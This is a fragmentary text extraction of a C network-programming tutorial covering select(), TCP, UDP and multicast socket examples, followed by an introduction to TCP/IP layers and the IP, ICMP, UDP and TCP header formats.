perror("recv() error lol!");
/* close it... */
close(i);
/* remove from master set */
FD_CLR(i, &master);
}
else
{
/* we got some data from a client*/
for(j = 0; j <= fdmax; j++)
{
/* send to everyone! */
if(FD_ISSET(j, &master))
{
/*except the listener and ourselves */
if(j != listener && j != i)
{
if(send(j, buf, nbytes, 0) == -1)
perror("send() error lol!");
}
}
}
}
}
}
}
}
return 0;
}
- You can leave the program running at the background (Ctrl + z).
www.tenouk.com Page 3 of 27
- Do some verification.
- Telnet from other computers or windows using hostname or the IP address. Here we use hostname,
bakawali. Use escape character ( Ctrl + ] ) to terminate command. For other telnet command please
type help.
- The last two messages were typed at another two machines that connected through socket 5 and 6
(socket 4 is another window of the server) using telnet. Socket 5 and 6 are from Windows 2000 Server
machines.
- The following are messages on the server console. There are another two machine connected to the
server and the messages at the server console is shown below.
- When the clients disconnected from the server through socket 4, 5 and 6, the following messages appear
on the server console.
...
Server-select() is OK...
Server-select() is OK...
./select: socket 5 hung up
Server-select() is OK...
./select: socket 6 hung up
Server-select() is OK...
./select: socket 4 hung up
- There are two file descriptor sets in the code: master and read_fds. The first, master, holds all
the socket descriptors that are currently connected, as well as the socket descriptor that is listening for
new connections.
- The reason we have the master set is that select() actually changes the set you pass into it to
reflect which sockets are ready to read. Since we have to keep track of the connections from one call of
select() to the next, we must store these safely away somewhere. At the last minute, we copy the
master into the read_fds, and then call select().
- Then every time we get a new connection, we have to add it to the master set and also every time a
connection closes, we have to remove it from the master set.
- Notice that we check to see when the listener socket is ready to read. When it is, it means we have
a new connection pending, and we accept() it and add it to the master set. Similarly, when a client
www.tenouk.com Page 4 of 27
connection is ready to read, and recv() returns 0, we know that the client has closed the connection,
and we must remove it from the master set.
- If the client recv() returns non-zero, though, we know some data has been received. So we get it, and
then go through the master list and send that data to all the rest of the connected clients.
- The following program examples are connection-oriented where sockets use TCP to connect a server to
a client, and a client to a server. This example provides more complete sockets’ APIs usage.
/************tcpserver.c************************/
/* Header files needed to use the sockets API. */
/* File contain Macro, Data Type and Structure */
/***********************************************/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <errno.h>
#include <unistd.h>
/* BufferLength is 100 bytes */
#define BufferLength 100
/* Server port number */
#define SERVPORT 3111
int main()
{
/* Variable and structure definitions. */
int sd, sd2, rc, length = sizeof(int);
int totalcnt = 0, on = 1;
char temp;
char buffer[BufferLength];
struct sockaddr_in serveraddr;
struct sockaddr_in their_addr;
fd_set read_fd;
struct timeval timeout;
timeout.tv_sec = 15;
timeout.tv_usec = 0;
/* bind to an address */
www.tenouk.com Page 5 of 27
memset(&serveraddr, 0x00, sizeof(struct sockaddr_in));
serveraddr.sin_family = AF_INET;
serveraddr.sin_port = htons(SERVPORT);
serveraddr.sin_addr.s_addr = htonl(INADDR_ANY);
/*client IP*/
printf("Server-new socket, sd2 is OK...\n");
printf("Got connection from the f***ing client: %s\n", inet_ntoa(their_addr.sin_addr));
www.tenouk.com Page 6 of 27
/* When select() indicates that there is data */
/* available, use the read() function to read */
/* 100 bytes of the string that the */
/* client sent. */
/***********************************************/
/* read() from client */
rc = read(sd2, &buffer[totalcnt], (BufferLength - totalcnt));
if(rc < 0)
{
perror("Server-read() error");
close(sd);
close(sd2);
exit (-1);
}
else if (rc == 0)
{
printf("Client program has issued a close()\n");
close(sd);
close(sd2);
exit(-1);
}
else
{
totalcnt += rc;
printf("Server-read() is OK\n");
}
}
}
else if (rc < 0)
{
perror("Server-select() error");
close(sd);
close(sd2);
exit(-1);
}
/* rc == 0 */
else
{
printf("Server-select() timed out.\n");
close(sd);
close(sd2);
exit(-1);
}
close(sd);
close(sd2);
exit(-1);
}
www.tenouk.com Page 7 of 27
/*****************************************/
/* Close the connection to the client and */
/* close the server listening socket. */
/******************************************/
close(sd2);
close(sd);
exit(0);
return 0;
}
- Run the program. In this example we let the program run in the background.
- Do some verification.
- When the next program example (the TCP client) is run, the following messages should be expected at
the server console.
- If the server program and then the client are run, the following messages should be expected at the
server console.
www.tenouk.com Page 8 of 27
Trying 203.106.93.94...
Connected to bakawali.jmti.gov.my (203.106.93.94).
Escape character is '^]'.
^]
telnet> help
Commands may be abbreviated. Commands are:
- Well, it looks that we have had a telnet session with the server.
- Well, let try the client program that will connect to the previous server program.
- The following example shows how to connect a socket client program to a connection-oriented server.
/************tcpclient.c************************/
/* Header files needed to use the sockets API. */
/* File contains Macro, Data Type and */
/* Structure definitions along with Function */
/* prototypes. */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <unistd.h>
#include <errno.h>
/* BufferLength is 100 bytes */
#define BufferLength 100
/* Default host name of server system. Change it to your default */
/* server hostname or IP. If the user do not supply the hostname */
/* as an argument, the_server_name_or_IP will be used as default*/
#define SERVER "The_server_name_or_IP"
/* Server's port number */
#define SERVPORT 3111
www.tenouk.com Page 9 of 27
/* The socket() function returns a socket */
/* descriptor representing an endpoint. */
/* The statement also identifies that the */
/* INET (Internet Protocol) address family */
/* with the TCP transport (SOCK_STREAM) */
/* will be used for this socket. */
/******************************************/
/* get a socket descriptor */
if((sd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
{
perror("Client-socket() error");
exit(-1);
}
else
printf("Client-socket() OK\n");
/*If the server hostname is supplied*/
if(argc > 1)
{
/*Use the supplied argument*/
strcpy(server, argv[1]);
printf("Connecting to the f***ing %s, port %d ...\n", server, SERVPORT);
}
else
/*Use the default server name or IP*/
strcpy(server, SERVER);
if(rc < 0)
{
perror("Client-write() error");
rc = getsockopt(sd, SOL_SOCKET, SO_ERROR, &temp, &length);
if(rc == 0)
{
www.tenouk.com Page 10 of 27
/* Print out the asynchronously received error. */
errno = temp;
perror("SO_ERROR was");
}
close(sd);
exit(-1);
}
else
{
printf("Client-write() is OK\n");
printf("String successfully sent lol!\n");
printf("Waiting the %s to echo back...\n", server);
}
totalcnt = 0;
while(totalcnt < BufferLength)
{
- Run the program. Before that don’t forget to run the server program first. The first run is without the
server hostname/IP.
www.tenouk.com Page 11 of 27
Echoed data from the f***ing server: This is a test string from client lol!!!
[bodo@bakawali testsocket]$
- Well, it works!
- The connectionless protocol server and client examples illustrate the socket APIs that are written for
User Datagram Protocol (UDP). The server and client examples use the following sequence of function
calls:
▪ socket()
▪ bind()
- The following figure illustrates the client/server relationship of the socket APIs for a connectionless
protocol.
www.tenouk.com Page 12 of 27
Connecting a UDP server and client
- The following examples show how to use UDP to connect a server to a connectionless client, and a
connectionless client to a server.
- The first example shows how to use UDP to connect a connectionless socket server program to a client.
/*******************udpserver.c*****************/
/* Header files needed to use the sockets API. */
/* File contain Macro, Data Type and Structure */
/* definitions along with Function prototypes. */
/* header files */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
/* Server's port number, listen at 3333 */
#define SERVPORT 3333
www.tenouk.com Page 13 of 27
printf("Using IP %s and port %d\n", inet_ntoa(serveraddr.sin_addr), SERVPORT);
printf("UDP server - Listening...\n");
www.tenouk.com Page 14 of 27
- Verify that the udp server is listening at port 3333 waiting for the client connection.
- Without the client program (next example) you can try telneting the server using port 3333 for testing.
For this program example the following telnet session cannot be established for UDP/connectionless.
- The following example shows how to use UDP to connect a connectionless socket client program to a
server. This program will be used to connect to the previous UDP server.
/****************udpclient.c********************/
/* Header files needed to use the sockets API. */
/* File contain Macro, Data Type and Structure */
/* definitions along with Function prototypes. */
/***********************************************/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
www.tenouk.com Page 15 of 27
/* If the hostname/IP of the server is supplied */
/* Or if(argc = 2) */
if(argc > 1)
strcpy(server, argv[1]);
else
{
/*Use default hostname or IP*/
printf("UDP Client - Usage %s <Server hostname or IP>\n", argv[0]);
printf("UDP Client - Using default hostname/IP!\n");
strcpy(server, SERVER);
}
if(rc < 0)
{
perror("UDP Client - recvfrom() error");
close(sd);
exit(-1);
}
else
{
printf("UDP client received the following: \"%s\" message\n", bufptr);
www.tenouk.com Page 16 of 27
printf(" from port %d, address %s\n", ntohs(serveraddr.sin_port),
inet_ntoa(serveraddr.sin_addr));
}
- Run the program. Before that make sure the previous program example (the UDP server) is running.
- Well, our udp server and client communicated successfully. The following are the expected messages at
server console.
There are a number of ways that you can design a connection-oriented socket server. While additional socket server
designs are possible, the designs provided in the examples below are the most common:
Note: A worker job or a worker thread refers to a process or sub-process (thread) that does data processing by using
the socket descriptor. For example, a worker process accesses a database file to extract and format information for
sending to the remote peer through the socket descriptor and its associated connection. It could then receive a
response or set of data from the remote peer and update the database accordingly.
Depending on the design of the server, the worker usually does not perform the connection "bring-up" or initiation.
This is usually done by the listening or server job or thread. The listening or server job usually passes the descriptor
to the worker job or thread.
Iterative server
In the iterative server example, a single server job handles all incoming connections and all data flows with the
client jobs. When the accept() API completes, the server handles the entire transaction. This is the easiest
server to develop, but it does have a few problems. While the server is handling the request from a given client,
additional clients could be trying to get to the server. These requests fill the listen() backlog and some of them
will be rejected eventually.
www.tenouk.com Page 17 of 27
All of the remaining examples are concurrent server designs. In these designs, the system uses multiple jobs and
threads to handle the incoming connection requests. With a concurrent server there are usually multiple clients that
connect to the server at the same time.
The spawn() server and spawn() worker example uses the spawn() API to create a new job (often called a
"child job") to handle each incoming request. After spawn() completes, the server can then wait on the
accept() API for the next incoming connection to be received. The only problem with this server design is the
performance overhead of creating a new job each time a connection is received. You can avoid the performance
overhead of the spawn() server example by using pre-started jobs. Instead of creating a new job each time a
connection is received, the incoming connection is given to a job that is already active. If the child job is already
active, the sendmsg() and recvmsg() APIs.
Servers that use sendmsg() and recvmsg() APIs to pass descriptors remain unhindered during heavy activity.
They do not need to know which worker job is going to handle each incoming connection. When a server calls
sendmsg(), the descriptor for the incoming connection and any control data are put in an internal queue for the
AF_UNIX socket. When a worker job becomes available, it calls recvmsg() and receives the first descriptor and
the control data that was in the queue.
An example of how you can use the sendmsg() API to pass a descriptor to a job that does not exist, a server can
do the following:
The child job calls recvmsg() to receive the descriptor that the server passed. The child job was not active when
the server called sendmsg(). The sendmsg() and recvmsg() APIs are extremely flexible. You can use these
APIs to send data buffers, descriptors, or both.
In the previous examples, the worker job did not get involved until after the server received the incoming connection
request. The multiple accept() servers and multiple accept() workers example of the system turns each of
the worker jobs into an iterative server. The server job still calls the socket(), bind(), and listen() APIs.
When the listen() call completes, the server creates each of the worker jobs and gives a listening socket to each
one of them. All of the worker jobs then call the accept() API. When a client tries to connect to the server, only
one accept() call completes, and that worker handles the connection. This type of design removes the need to
give the incoming connection to a worker job, and saves the performance overhead that is associated with that
operation. As a result, this design has the best performance. A worker job or a worker thread refers to a process or
sub-process (thread) that does data processing by using the socket descriptor. For example, a worker process
accesses a database file to extract and format information for sending to the remote peer through the socket
descriptor and its associated connection. It could then receive a response or set of data from the remote peer and
update the database accordingly.
Depending on the design of the server, the worker usually does not perform the connection "bring-up" or initiation.
This is usually done by the listening or server job or thread. The listening or server job usually passes the descriptor
to the worker job or thread.
- This example shows how you can write an iterative server program. The following simple figure
illustrates how the server and client jobs interact when the system used the iterative server design.
www.tenouk.com Page 18 of 27
Figure 2: An example of socket APIs used for iterative server design.
- In the following example of the server program, the number of incoming connections that the server
allows depends on the first parameter that is passed to the server. The default is for the server to allow
only one connection.
www.tenouk.com Page 19 of 27
printf("Iserver - socket() is OK\n");
www.tenouk.com Page 20 of 27
- Compile and link
- The server is waiting the connections from clients. The following program example is a client program.
- This example provides the code for the client job. The client job does a socket(), connect(),
send(), recv(), and close().
- The client job is not aware that the data buffer it sent and received is going to a worker job rather than to
the server.
- This client job program can also be used to work with other previous connection-oriented server
program examples.
if(argc !=2)
{
printf("Usage: %s <Server_name or Server_IP_address>\n", argv[0]);
exit (-1);
}
/* Create an AF_INET stream socket */
sockfd = socket(AF_INET, SOCK_STREAM, 0);
if(sockfd < 0)
{
perror("client - socket() error");
exit(-1);
}
else
printf("client - socket() is OK.\n");
/* Initialize the socket address structure */
memset(&addr, 0, sizeof(addr));
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = htonl(INADDR_ANY);
addr.sin_port = htons(SERVER_PORT);
/* Connect to the server */
rc = connect(sockfd, (struct sockaddr *)&addr, sizeof(struct sockaddr_in));
if(rc < 0)
{
perror("client - connect() error");
close(sockfd);
exit(-1);
}
else
{
printf("client - connect() is OK.\n");
printf("connect() completed successfully.\n");
www.tenouk.com Page 21 of 27
printf("Connection with %s using port %d established!\n", argv[1], SERVER_PORT);
}
- Run the program and make sure you run the server program as in the previous program example.
www.tenouk.com Page 22 of 27
accept() is OK and completed successfully!
I am waiting client(s) to send message(s) to me...
The message from client: "This is a test message from a stupid client lol!"
Echoing it back to client...
Iserver - send() is OK.
[bodo@bakawali testsocket]$
www.tenouk.com Page 23 of 27
[bodo@bakawali testsocket]$
- IP multicasting provides the capability for an application to send a single IP datagram that a group of
hosts in a network can receive. The hosts that are in the group may reside on a single subnet or may be
on different subnets that have been connected by multicast capable routers.
- Hosts may join and leave groups at any time. There are no restrictions on the location or number of
members in a host group. A class D Internet address in the range 224.0.0.1 to 239.255.255.255
identifies a host group.
- An application program can send or receive multicast datagrams by using the socket() API and
connectionless SOCK_DGRAM type sockets. Each multicast transmission is sent from a single network
interface, even if the host has more than one multicasting-capable interface.
- It is a one-to-many transmission method. You cannot use connection-oriented sockets of type
SOCK_STREAM for multicasting.
- When a socket of type SOCK_DGRAM is created, an application can use the setsockopt() function
to control the multicast characteristics associated with that socket. The setsockopt() function
accepts the following IPPROTO_IP level flags:
- The following examples enable a socket to send and receive multicast datagrams. The steps needed to
send a multicast datagram differ from the steps needed to receive a multicast datagram.
- The following example enables a socket to perform the steps listed below and to send multicast
datagrams:
www.tenouk.com Page 24 of 27
exit(1);
}
else
printf("Opening the datagram socket...OK.\n");
/* Try the re-read from the socket if the loopback is not disable
if(read(sd, databuf, datalen) < 0)
{
perror("Reading datagram message error\n");
close(sd);
exit(1);
}
else
{
printf("Reading datagram message from client...OK\n");
printf("The message is: %s\n", databuf);
}
*/
return 0;
}
- Before running this multicaster program, you have to run the client program first as in the following.
- The following example enables a socket to perform the steps listed below and to receive multicast
datagrams:
www.tenouk.com Page 25 of 27
3. Use the bind() verb to specify the local port number. Specify the IP address as
INADDR_ANY in order to receive datagrams that are addressed to a multicast group.
4. Use the IP_ADD_MEMBERSHIP socket option to join the multicast group that receives the
datagrams. When joining a group, specify the class D group address along with the IP address
of a local interface. The system must call the IP_ADD_MEMBERSHIP socket option for each
local interface receiving the multicast datagrams.
5. Receive the datagram.
www.tenouk.com Page 26 of 27
/* Read from the socket. */
datalen = sizeof(databuf);
if(read(sd, databuf, datalen) < 0)
{
perror("Reading datagram message error");
close(sd);
exit(1);
}
else
{
printf("Reading datagram message...OK.\n");
printf("The message from multicast server is: \"%s\"\n", databuf);
}
return 0;
}
1. Check the best selling C/C++, Networking, Linux and Open Source books at Amazon.com.
2. Broadcasting.
3. Telephony.
www.tenouk.com Page 27 of 27
MODULE 42
NETWORK PROGRAMMING
SOCKET PART IV
Advanced TCP/IP and RAW SOCKET
Note:
This is a continuation from Part III, Module41. Working program examples compiled using gcc, tested using the
public IPs, run on Fedora 3, with several times of update, as root or suid 0. The Fedora machine used for the testing
having the "No Stack Execute" disabled and the SELinux set to default configuration.
This Module will concentrate on the TCP/IP stack and will try to dig deeper till the packet level.
Abilities
Introduction
In the previous Modules we just dealt with the generic TCP/UDP programs. It is not so usable without
implementing other protocols at other layers of the TCP/IP suite. In this Module we will investigate deeper into the
TCP/IP suite, their protocols, header formats and at the end we will try to construct our own packet using RAW
packet. Let recall some of the information that we have already covered in the previous Modules and then proceed
on to the details. The following figure shows various TCP/IP and other protocols reside in the original OSI model.
7 Application e.g. HTTP, SMTP, SNMP, FTP, Telnet, SSH and Scp, NFS, RTSP etc.
6 Presentation e.g. XDR, ASN.1, SMB, AFP etc.
5 Session e.g. TLS, SSH, ISO 8327 / CCITT X.225, RPC, NetBIOS, ASP etc.
4 Transport e.g. TCP, UDP, RTP, SCTP, SPX, ATP etc.
e.g. IP/IPv6, ICMP, IGMP, X.25, CLNP, ARP, RARP, BGP, OSPF, RIP,
3 Network IPX, DDP etc.
e.g. Ethernet, Token ring, PPP, HDLC, Frame relay, ISDN, ATM,
2 Data Link 802.11 Wi-Fi, FDDI etc.
1 Physical e.g. wire, radio, fiber optic etc.
As discussed in the previous Module, in implementation, the de facto standard used is the TCP/IP. This TCP/IP
term should be general and here we will study the detail of the TCP/IP.
TCP/IP
The TCP/IP suite attempts to create a heterogeneous network with open protocols that are independent of operating
system and architectural difference. TCP/IP protocols are available to everyone, and are developed and changed by
consensus, not by one manufacturer. Everyone is free to develop products to meet these open protocol
specifications. Most information about TCP/IP is published as Request For Comments (RFC), which contain the
latest version of the specifications of all TCP/IP protocols standard. The following figure shows the 4 layers of
TCP/IP suite.
1
Physical/ Data Ethernet, Wireless (WAP, CDPD, 802.11, Wi-Fi), Token
Link layer. ring, FDDI, PPP, ISDN, Frame Relay, ATM, SONET/SDH,
www.tenouk.com Page 1 of 19
xDSL, SLIP etc.
RS-232, EIA-422, RS-449, EIA-485 etc.
Commonly, the top three layers of the OSI model (Application, Presentation and Session) are considered as a single
Application layer in the TCP/IP suite and the bottom two layers as well considered as a single Network Access
layer. Because the TCP/IP suite has no unified session layer on which higher layers are built, these functions are
typically carried out (or ignored) by individual applications. The most notable difference between TCP/IP and OSI
models is the Application layer, as TCP/IP integrates a few steps of the OSI model into its Application layer. A
simplified TCP/IP interpretation of the stack is shown below:
The basic function each of the TCP/IP layer is illustrated in the following figure.
A shown in figure 5, the four-layered structure of TCP/IP is seen in the way data handled as it passes down the
protocol stack from the Application layer to the underlying physical network. Each layer in the stack adds control
information to ensure proper delivery. This control information is called a header because it is placed in front of
the data to be transmitted. Each layer treats all of the information it receives from the layer above as data and
places its own header in front of that information. The addition of delivery information at every layer is called
encapsulation. Note that the real data that will be transmitted, seen or used at Application layer just a small
portion of the whole packet. When data is received, the opposite process happens. Each layer strips off its header
before passing the real data on the layer above. As information flows back up the stack, information received from a
lower layer is interpreted as both a header and data.
www.tenouk.com Page 2 of 19
Figure 5: TCP/IP header encapsulation.
Each layer has its own independent data structures. Conceptually a layer is unaware of the data structure used by
the layers above and below it. In reality, the data structures of a layer are designed to be compatible with the
structures used by the surrounding layers for the sake of more efficient data transmission. Still, each layer has its
own data structure and its own terminology to describe that structure. Figure 6 shows the terms used by different
layers of TCP/IP to refer to the data being transmitted. As a general term, most networks refer to a transmitted data
as packets of frames.
The following figure tries to give a big picture of what actually happen when a host (network device) communicates
with another host in TCP/IP stack. The flow of the packets is two ways representing the terms send and receive.
Using figure 7 as our reference, let investigate more detail of every layer starting from the bottom layer of the
TCP/IP stack.
www.tenouk.com Page 3 of 19
Figure 7: Quite a complete structure of protocols diagram used for communication.
The Network Access layer it is the lowest layer of the TCP/IP protocol hierarchy. The protocols in this layer
provide the means for the system to deliver data to the other device on a directly attached network. It defines how to
use the network to transmit an IP diagram. Unlike higher-level protocols, it must know the details of the underlying
network to correctly format the data being transmitted to comply with the network constraints. The TCP/IP
Network Access layer can encompass the function of all three lower layers of the OSI reference model Network
layer, Data Link layer, and Physical layer.
Functions performed at this level include encapsulation of IP datagrams into the frames transmitted by the network
and mapping of IP addresses to the physical addresses used by the network (provided by ARP protocol). The
network access layer is responsible for exchanging data between a host and the network and for delivering data
between two devices on the same network. Node physical addresses (MAC address) are used to accomplish
delivery on the local network.
www.tenouk.com Page 4 of 19
TCP/IP has been adapted to a wide variety of network types, including switching, such as X.21, packet switching,
such as X.25, Ethernet, the IEEE 802.x protocols, frame relay, wireless etc. For example, data in the network access
layer encode EtherType (Ethernet) information that is used to demultiplex data associated with specific upper-
layer protocol stacks.
Network/Internet Layer
The Internet layer is the heart of TCP/IP and the most important protocol. This layer provides the basic packet
delivery service on which TCP/IP networks are built. The TCP/IP protocol at this layer is the Internet Protocol
(IP- RFC 791). All protocols, in the layers above and below Internet layer, use the Internet Protocol to deliver
data. All TCP/IP data flows through IP, incoming and outgoing, regardless of its final destination.
The Internet layer is responsible for routing messages through internetworks. Devices responsible for routing
messages between networks are called gateways in TCP/IP terminology, although the term router is also used with
increasing frequency. In addition to the physical node addresses utilized at the network access layer, the IP protocol
implements a system of logical host addresses called IP addresses. The IP addresses are used by the internet and
higher layers to identify devices and to perform internetwork routing. As discussed in the previous Module the IP
address may be a class or classless type. The Address Resolution Protocol (ARP) enables IP to identify the
physical address (Media Access Control, MAC) that matches a given IP address. The physical address has been
burnt on every NIC. To make it readable for human being, the (domain) name is used instead of the IP address in
normal operation. The IP address and name resolution is done by Domain Name System (DNS). In the
implementation, UNIX/Linux uses BIND and Windows uses Domain Name Service (also DNS acronym). The
relationship is shown in the following figure.
The IP provides services that are roughly equivalent to the OSI Network layer. IP provides a datagram
(connectionless) transport service across the network. This service is sometimes referred to as unreliable because
the network does not guarantee delivery nor notify the end host system about packets lost due to errors or network
congestion. IP datagrams contain a message, or one fragment of a message, that may be up to 65,535 bytes
(octets/bytes) in length. IP does not provide a mechanism for flow control. Let dig deeper about the protocols in
this layer.
▪ Defining the datagram, which is the basic unit of transmission in the Internet.
▪ Defining the Internet addressing scheme, moving data between the Network Access layer and the
Transport layer.
▪ Routing datagrams to remote hosts.
▪ Performing fragmentation and reassembly of datagrams.
The Datagram
Is a packet format defined by Internet Protocol. The internet protocol delivers the datagram by checking the
Destination Address (DA). This is an IP address that identifies the destination network and the specific host on
that network. If the destination address is the address of a host on the local network, the packet is delivered directly
to the destination; otherwise the packet is passed to a gateway/router for delivery. Gateways are devices that switch
packets between the different physical networks. Deciding which gateway to use is called routing. IP makes the
routing decision for each individual packet. IP deals with data in chunks called datagrams. The terms packet and
datagram are often used interchangeably, although a packet is a data link-layer object and a datagram is a network
layer object. In many cases, particularly when using IP on Ethernet, a datagram and packet refer to the same chunk
of data. There's no guarantee that the physical link layer can handle a packet of the network layer's size. If the
media's MTU is smaller than the network's packet size, then the network layer has to break large datagrams down
into packed-sized chunks that the data link layer and physical layer can digest. This process is called
fragmentation. The host receiving a fragmented datagram reassembles the pieces in the correct order.
www.tenouk.com Page 5 of 19
The following figure shows the IPv4 datagram header format. It is 6 x 32 bits (word size) wide.
Field Description
Version The version of IP currently used.
IP Header Length (IHL) - datagram header length. Points to the beginning of the data.
IHL
The minimum value for a correct header is 5.
Data in this field indicate the quality of service desired. The effects of values in the
precedence fields depend on the network technology employed, and values must be
configured accordingly. Format of the Type of Service field:
▪ Bits 0-2: Precedence
Decimal Protocol
1 ICMP (Internet Control Message)
Protocol
2 IGMP (Internet Group Management)
4 IP (IP in IP -encapsulation)
5 ST (Stream)
6 TCP (Transmission Control)
17 UDP (User Datagram)
27 RDP (Reliable Data Protocol)
Header Checksum A checksum for the header only. This value must be recalculated each time the header is
www.tenouk.com Page 6 of 19
modified.
Source Address The IP address of the originated the datagram.
Destination
The IP address of the host that is the final destination of the datagram.
Address
Options May contain 0 or more options.
Padding Filled with bits to ensure that the size of the header is a 32-bit multiple.
Note that in the IP packet we just have the source and destination IP addresses. There is no source and destination
port numbers here which is set in UDP or TCP header.
Is part of the Internet layer and uses the IP datagram delivery facility to sends its messages. ICMP sends
messages that perform control, error reporting, and informational functions for TCP/IP. The RFC document for
ICMP is RFC 792. The following figure is the ICMP header format.
A brief description:
Field Description
Messages can be error or informational messages. Error messages can be Destination
unreachable, Packet too big, Time exceed, Parameter problem. The
possible informational messages are, Echo Request, Echo Reply, Group Membership
Query, Group Membership Report and Group Membership Reduction. A
summary of message Types are listed below.
0: Echo Reply.
3: Destination Unreachable.
Type 4: Source Quench.
5: Redirect.
8: Echo.
11: Time Exceeded.
12: Parameter Problem.
13: Timestamp.
14: Timestamp Reply.
15: Information Request.
16: Information Reply.
For each type of message as listed above, several different codes are defined. An example of
this is the Destination Unreachable message, where possible messages are: no route to
destination, communication with destination administratively prohibited, not a neighbor, address
unreachable, port unreachable. The code and its means for Destination Unreachable
message is listed below.
Code
0 = net unreachable.
1 = host unreachable.
2 = protocol unreachable.
3 = port unreachable.
4 = fragmentation needed and DF set.
5 = source route failed.
The 16-bit one's complement of the one's complement sum of the ICMP message starting with
Checksum
the ICMP Type. For computing the checksum, the checksum field should be zero.
Second word
Several formats that match with certain IP header fields/depend on the Type and Code fields.
(Several
www.tenouk.com Page 7 of 19
formats/unused
The usage examples of the ICMP (together with IP) are listed below:
▪ Flow control: When datagrams arrive too fast for processing, the destination host or intermediate gateway
sends an ICMP Source Quench Message back to the sender. This tells the source to temporarily
stop sending datagrams.
▪ Detecting unreachable destinations: When a destination is unreachable, the system detecting the problem
sends an ICMP Destination Unreachable Message to the datagrams source. If the unreachable
destination is a network or host, the message is sent by an intermediate gateway. But if the destination is
an unreachable port, the destination host sends the message.
▪ Redirecting routes: A gateway sends the ICMP Redirect Message to tell a host to use another
gateway, presumably because the other gateway is a better choice. This message can only be used when
the source host is on the same network as both gateways.
▪ Checking remote hosts: A host can send the ICMP Echo Message to see if a remote system's internet
protocol is up and operational. When a system receives an echo message, it sends the same packet back to
the source host (e.g. PING command).
Unless otherwise noted under the individual format descriptions as explained above, the values of the Internet
Protocol (IP) header fields for the ICMP are as follows:
IP Field Description
Version 4.
IHL Internet header length in 32-bit words.
Type of Service 0.
Total Length Length of internet header and data in octets.
Identification,
Flags, Used in fragmentation.
Fragment Offset
Time to live in seconds; as this field is decremented at each machine in which the
Time to Live datagram is processed, the value in this field should be at least as great as the number of
gateways which this datagram will traverse.
Protocol ICMP = 1.
The 16 bit one's complement of the one's complement sum of all 16 bit words in the
Header Checksum header. For computing the checksum, the checksum field should be zero. This
checksum may be replaced in the future.
The address of the gateway or host that composes the ICMP message. Unless otherwise
Source Address
noted, this can be any of a gateway's addresses.
Destination
The address of the gateway or host to which the message should be sent.
Address
1. It must subdivide user-sized data buffers into network layer sized datagrams, and
2. It must enforce any desired transmission control such as reliable delivery.
The Transport layer is responsible for end-to-end data integrity. The two most important protocols in this layer are
Transmission Control Protocol (TCP) and User Datagram Protocol (UDP). TCP provides reliable data delivery
service with end-to-end error detection and correction and also enables hosts to maintain multiple, simultaneous
www.tenouk.com Page 8 of 19
connections. UDP provides low-overhead, connectionless datagram delivery service. Both protocols deliver data
between the Application layer and the Internet layer. Applications programmers can choose whichever service is
more appropriate for their specific applications. Protocols defined at this layer accept data from application
protocols running at the Application layer, encapsulate it in the protocol header, and deliver the data segment thus
formed to the lower IP layer for routing. Unlike the IP protocol, the transport layer is aware of the identity of the
ultimate user representative process. As such, the Transport layer, in the TCP/IP suite, embodies what data
communications are all about: The delivering of information from an application on one computer to an application
on another computer.
Gives application programs direct access to a datagram delivery service, like the delivery service that IP provides.
This allows applications to exchange messages over the network with a minimum of protocol overhead. UDP is an
unreliable (it doesn't care about the quality if deliveries it make), connectionless (doesn't establish a connection on
behalf of user applications) datagram protocol. Within your computer, UDP will deliver data correctly. UDP is
used as a data transport service when the amount of data being transmitted is small, the overhead of creating
connections and ensuring reliable delivery may be greater than the work of retransmitting the entire data set.
Broadcast-oriented services use UDP, as do those in which repeated, out of sequence, or missed requests have no
harmful side effects. Since no state is maintained for UDP transmission, it is ideal for repeated, short operations
such as the Remote Procedure Call (RPC) protocol. UDP packets can arrive in any order. If there is a network
bottleneck that drops packets, UDP packets may not arrive at all. It's up to the application built on UDP to
determine that a packet was lost, and to resend it if necessary.
NFS and NIS are built on top of UDP because of its speed and statelessness. While the performance advantages of
a fast protocol are obvious, the stateless nature of UDP is equally important. Without state information in either the
client or server, crash recovery is greatly simplified.
UDP is also the transport protocol for several well-known application-layer protocols, including Network File
System (NFS), Simple Network Management Protocol (SNMP), Domain Name System (DNS), and Trivial File
Transfer Protocol (TFTP). The following figure shows the UDP datagram format.
A brief description:
Field Description
Source Port This field is optional and specifies the port number of the application that is
(16 bits) originating the user data.
Destination Port
This is the port number pertaining to the destination application.
(16 bits)
This field describes the total length of the UDP datagram, including both data and
Length (16 bits)
header information.
UDP checksum Integrity checking is optional under UDP. If turned on, this field is used by both
(16 bits) ends of the communication channel for data integrity checks.
Well, let revised what we have already covered till now. The following figure is the TCP/IP stack mentioned
before. When data is sent from a host to another host, depend on the application (protocols), it has to go through the
layers. Every layer will encapsulate the appropriate header.
www.tenouk.com Page 9 of 19
Figure 12: TCP/IP header encapsulation, illustrated vertically.
To make it clearer, the following figure is a packet that horizontally rearranged of the previous figure. The
Data... may also contain other upper protocol header, the Transport layer.
As an example, by assuming there is no other information inserted between the Transport and the Internetwork
layers, the following figure shows the packet when the data has gone through the Transport and Internerwork layers.
From the above figure, what IP considers to be data field is in fact just another piece of formatted information
including both UDP header and user protocol data. To IP it should not matter what the data field is hiding. The
details of the header information for each protocol should clearly convey to the reader purpose of the protocol.
Keep in mind that at machine level, all the fields in the packet actually just a combination of the 0s and 1s digits.
Let continue with another important protocol in Transport layer, the TCP.
Transmission Control Protocol (TCP) is a required TCP/IP standard defined in RFC 793, "Transmission Control
Protocol (TCP)", that provides a reliable, connection-oriented packet delivery service. The Transmission Control
Protocol:
www.tenouk.com Page 10 of 19
It is fully reliable, connection-oriented, end-to-end packet delivery, acknowledged, byte stream protocol that provide
consistency for data delivery across the network in a proper sequence. TCP supports data fragmentation and
reassemble. It also support multiplexing/demultiplexing using source and destination port numbers in much the
same way they are used by UDP. Together with the Internet Protocol (IP), TCP represents the heart of the Internet
